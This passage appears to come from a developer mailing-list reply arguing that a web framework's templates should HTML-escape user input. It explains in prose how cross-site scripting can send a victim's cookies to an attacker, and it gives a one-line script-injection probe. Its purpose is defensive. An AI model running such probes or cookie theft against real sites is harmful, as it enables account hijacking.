bug, the page will be redirected to my site, with the cookies passed as 
parameter. My site can store whatever cookies the victim had on his machine. 
Since most login and passwords are stored in cookies, I now have the
victim''s
login and password. With just a little more code, I could have made it so 
that the victim''s browser would not be redirected (using an iframe for 
example, or some more javascript), and he would not even know he was 
attacked.

Another reason this is so serious is because it takes just a few seconds to 
find the vulnerability. You can test any site you want just by typing:
<script>alert(''I am vulnerable'')</script>. So even
trained monkeys could find
the vulnerability if you have it.

Same with forums, wiki''s, or any other web application that allows data
submited by the public be viewed by a password protected account. If you have 
a money related website, this could be really fatal because an attacker could 
steal the bank''s manager password, paypal accounts, and could
potencially
steal even credit card numbers if they are stored in cookies.

You can read more about XSS vulnerabilities here: 
http://www.cgisecurity.com/articles/xss-faq.shtml

> If you were truly
> determined, you could look into having AR accessors perform html escape
> when a template is being rendered. In my opinion, that would be too magical
> and I''m happy with the current situation.
I am going to assume AR accessors means the model, if not, disregard the 
following:

That is not the right approach because:

1) The model should be independent of the view. The view could be a gtk or qt 
gui, html , a svg renderer, pdf or whatever. If the model does html escape, 
then the model will only work with the html view. Your gtk or qt gui will 
start showing really wierd characters. Your pdf renderer will also show some 
funky code. Sudenly the model becomes dependent on the view, and that would 
completelly violate MVC principles.

2) There are other parts of the program that may use the model. For example, 
you can have a cron job that does some task based on the information provided 
by the model. These parts will also start seeing the html encoding and would 
stop working.

3) What is safe for html may not be safe for other formats. Suppose you have 2 
views: one that shows the data in html and the other shows the same data in 
pdf. If the model escapes html, then an attacker could still input 
information that would screw up the pdf, at a minimum, the atacker could 
prevent the rest of the pdf from showing properly.

4) text != html. The data in the database is NOT HTML. it is plain text. As 
such it does not have to follow html conventions. Since the view''s sole
purpouse is to render and receive data in html format, it is also responsible 
for doing the conversion. The conversion normally means doing html escaping.

5) This will no longer behave as espected:

somevar="..."

mymodel.x = somevar;

if mymodel.x == somevar then
 print "this is what you would expect"
else
 print "WTF?"
end

provided that somevar contains one or more of
"<,>,",'',&" and whatever else
the escaping changes.

6) The solution is pretty damn simple: Just add an h after every <%= that 
displays input data. As demonstrated by the patch provided by Andreas 
Schwarz.

7) right now it is "magical" in the sense that you input something,
and the
browser shows you something else.